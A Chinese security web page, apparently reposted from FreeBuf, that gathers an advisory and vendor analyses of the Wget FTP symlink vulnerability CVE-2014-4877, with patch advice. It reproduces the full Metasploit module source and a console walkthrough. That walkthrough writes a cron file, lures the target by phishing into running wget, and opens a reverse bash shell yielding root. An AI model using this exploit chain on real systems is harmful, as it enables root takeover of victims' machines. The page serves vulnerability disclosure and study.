• 欢迎访问安全专题网站,安全专题信息,安全专题教程,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入安全专题 QQ群
  • 安全专题现已支持滚动公告栏功能,兼容其他浏览器,看到的就是咯,在后台最新消息那里用li标签添加即可。
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏安全专题吧

Wget FTP软链接攻击漏洞(CVE-2014-4877)描述及各安全厂商评析

安全事件 aqzt 1年前 (2016-12-20) 1031次浏览 0个评论

资料汇总:Wget FTP 软链接攻击漏洞(CVE-2014-4877)描述及各安全厂商评析

Wget 是一款从用于从网络上下载文件的开源工具,使用非常广泛。然而现在,它却出现了一个严重的安全漏洞:当 Wget 向 FTP 服务器请求递归目录时,存在一个关于软链接的漏洞,它将允许黑客任意创建文件、目录或软链接(符号链接)。

Wget 也是一款命令行工具,它能通过 HTTP、HTTPS 以及 FTP 等主流协议下载 WEB 上的文件。Wget 可以安装在任何 Unix 系统上,也可以在许多的系统中相互移植,其中包括 win 系统,Mac OS X、OpenVMS、MorphOS 以及 AmigaOS。

漏洞描述及威胁

Wget 容易受软链接攻击影响,当它通过 FTP 下载一个递归目录时,它就可能被利用来创建文件、目录及符号链接,并设置权限。

首次上报该漏洞给 Wget 开源项目组的人是 Rapid7 的首席安全官 HD Moore,这个漏洞被命名为 CVE-2014-4877。

由于几乎每一台 Linux 服务器上都安装了 Wget 应用,甚至不少 OS X 的机器也装有 Wget(虽然不是默认安装),因此该漏洞影响范围非常巨大。通过系统级应用(如 cron)或用户级应用(如 bash profile 文件)以及 SSH 认证 key,黑客能利用该漏洞发起远程代码执行攻击。

漏洞测试

Metasploit 已经推出该漏洞的利用测试代码(Exp for web),安全研究人员可以用它来测试这个漏洞。

下载 exp 请戳我

资料汇总:Wget FTP 软链接攻击漏洞(CVE-2014-4877)描述及各安全厂商评析

修复建议

Moore 说:“想要彻底解决问题,请升级到 Wget1.16 版本或打上 CVE-2014-4877 的兼容补丁。”最新的 Wget1.16 版本中已经修复了此漏洞,这个版本禁用了默认配置“允许本地创建软链接”,不会再遍历他们,而是检索软链接指向的真实文件。

如果不做 Wget 版本升级,就需要在使用 Wget 时,谨慎使用–retr-symlinks 选项。我们需要改变“retr-symlinks”选项默认的开关策略,阻止本地创建软链接。

除了需要改动那些“调用 Wget 的脚本或程序”中的参数外,还需要在 Wget 的配置文件中(如全局配置文件“/etc/wgetrc”,或者用户配置文件“~/.wgetrc”)加入配置选项“retr-symlinks=on”。

wget-1.16 下载

各大安全厂商的评析

绿盟科技:GNU Wget 符号链接漏洞(CVE-2014-4877)

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary   include Msf::Exploit::Remote::FtpServer   include Msf::Auxiliary::Report   def initialize     super(       'Name'           => 'GNU Wget FTP Symlink Arbitrary Filesystem Access',       'Description'    => %q{         This module exploits a vulnerability in Wget when used in         recursive (-r) mode with a FTP server as a destination. A         symlink is used to allow arbitrary writes to the target's         filesystem. To specify content for the file, use the         "file:/path" syntax for the TARGET_DATA option.         Tested successfully with wget 1.14. Versions prior to 1.16         are presumed vulnerable.       },       'Author'         => ['hdm'],       'License'        => MSF_LICENSE,       'Actions'        => [['Service']],       'PassiveActions' => ['Service'],       'References'     =>         [           [ 'CVE', '2014-4877'],           [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ],           [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ]         ],       'DefaultAction'  => 'Service',       'DisclosureDate' => 'Oct 27 2014'     )     register_options(       [         OptString.new('TARGET_FILE', [ true,  "The target file to overwrite", '/tmp/pwned' ]),         OptString.new('TARGET_DATA', [ true,  "The data to write to the target file", 'Hello from Metasploit' ]),         OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121])       ], self.class)       @fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8)   end   def run     my_address = Rex::Socket.source_address     print_good("Targets should run: $ wget -m ftp://#{my_address}:#{datastore['SRVPORT']}/")     exploit()   end   def on_client_command_user(c,arg)     @state[c][:user] = arg     c.put "331 User name okay, need password.../r/n"   end   def on_client_command_pass(c,arg)     @state[c][:pass] = arg     c.put "230 Login OK/r/n"     @state[c][:auth] = true     print_status("#{@state[c][:name]} Logged in with user '#{@state[c][:user]}' and password '#{@state[c][:user]}'...")   end   def on_client_command_retr(c,arg)     print_status("#{@state[c][:name]} -> RETR #{arg}")     if not @state[c][:auth]       c.put "500 Access denied/r/n"       return     end     unless arg.index(::File.basename(datastore['TARGET_FILE']))       c.put "550 File does not exist/r/n"       return     end     conn = establish_data_connection(c)     if not conn       c.put("425 Can't build data connection/r/n")       return     end     c.put("150 Opening BINARY mode data connection for #{arg}/r/n")     conn.put(datastore['TARGET_DATA'])     c.put("226 Transfer complete./r/n")     conn.close     print_good("#{@state[c][:name]} Hopefully wrote #{datastore['TARGET_DATA'].length} bytes to #{datastore['TARGET_FILE']}")   end   def on_client_command_list(c,arg)     print_status("#{@state[c][:name]} -> LIST #{arg}")     if not @state[c][:auth]       c.put "500 Access denied/r/n"       return     end     conn = establish_data_connection(c)     if not conn       c.put("425 Can't build data connection/r/n")       return     end     pwd = @state[c][:cwd]     buf = ''     dstamp = Time.at(Time.now.to_i-((3600*24*365)+(3600*24*(rand(365)+1)))).strftime("%b %e  %Y")     unless pwd.index(@fakedir)       buf << "lrwxrwxrwx   1 root     root           33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore['TARGET_FILE'])}/r/n"       buf << "drwxrwxr-x  15 root     root         4096 #{dstamp} #{@fakedir}/r/n"     else       buf << "-rwx------   1 root     root    #{"%9d" % datastore['TARGET_DATA'].length} #{dstamp} #{::File.basename(datastore['TARGET_FILE'])}/r/n"     end     c.put("150 Opening ASCII mode data connection for /bin/ls/r/n")     conn.put("total #{buf.length}/r/n" + buf)     c.put("226 Transfer complete./r/n")     conn.close   end   def on_client_command_size(c,arg)     if not @state[c][:auth]       c.put "500 Access denied/r/n"       return     end     c.put("213 #{datastore['TARGET_DATA'].length}/r/n")   end   def on_client_command_cwd(c,arg)     print_status("#{@state[c][:name]} -> CWD #{arg}")     if not @state[c][:auth]       c.put "500 Access denied/r/n"       return     end     upath = "/"     npath = ::File.join(@state[c][:cwd], arg)     bpath = npath[upath.length, npath.length - upath.length]     # Check for traversal above the root directory     if not (npath[0, upath.length] == upath or bpath == '')       bpath = '/'     end     bpath = '/' if bpath == ''     @state[c][:cwd] = bpath     c.put "250 CWD command successful./r/n"   end end

360 网络攻防实验室:CVE-2014-4877 漏洞分析与验证(小编:其中实验过程的验证图较多,就不在这里贴出。)

Metasploit 工具利用方法:

# msfconsole msf> use exploit/multi/handler msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash msf exploit(handler) > set LHOST 192.168.0.4 msf exploit(handler) > set LPORT 4444 msf exploit(handler) > run -j [*] Exploit running as background job. [*] Started reverse handler on 192.168.0.4:4444 调用利用模块 msf exploit(handler) > use auxiliary/server/wget_symlink_file_write msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell msf auxiliary(wget_symlink_file_write) > set SRVPORT 21 msf auxiliary(wget_symlink_file_write) > run [+] Targets should run: $ wget -m ftp://192.168.0.4:21/ [*] Server started. 通过钓鱼等手段让目标主机访问:wget -m ftp://192.168.0.4:21/ [*] 192.168.0.2:52251 Logged in with user 'anonymous' and password 'anonymous'... [*] 192.168.0.2:52251 -> LIST -a [*] 192.168.0.2:52251 -> CWD /1X9ftwhI7G1ENa [*] 192.168.0.2:52251 -> LIST -a [*] 192.168.0.2:52251 -> RETR cronshell [+] 192.168.0.2:52251 Hopefully wrote 186 bytes to /etc/cron.d/cronshell [*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.2:58498) at 2014-10-27 23:19:02 -0500 获取权限进入会话 msf auxiliary(wget_symlink_file_write) > sessions -i 1 [*] Starting interaction with 1... id uid=0(root) gid=0(root) groups=0(root),1001(rvm)

阿里巴巴安全部:CVE-2014-4877 [wget] 分析

资料汇总:Wget FTP 软链接攻击漏洞(CVE-2014-4877)描述及各安全厂商评析


FreeBuf 结语

本文在漏洞刚出的时候已撰写好,本可以及时发出。但是因为在发文时申请流程不当,导致文章发表被拖延,在这里小编代表个人向大家致歉。另外,希望小编新补充的部分内容对大家有所启发。

其他相关阅读

Redhat 的 bugzilla 评论相关

Rapid7 漏洞验证细节

软链接(符号链接)与硬链接知识科普

[参考来源http://thehackernews.com,译/FreeBuf 小编 dawner,转载请注明来自 FreeBuf.COM]


Selinux 中国 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:Wget FTP 软链接攻击漏洞(CVE-2014-4877)描述及各安全厂商评析
喜欢 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址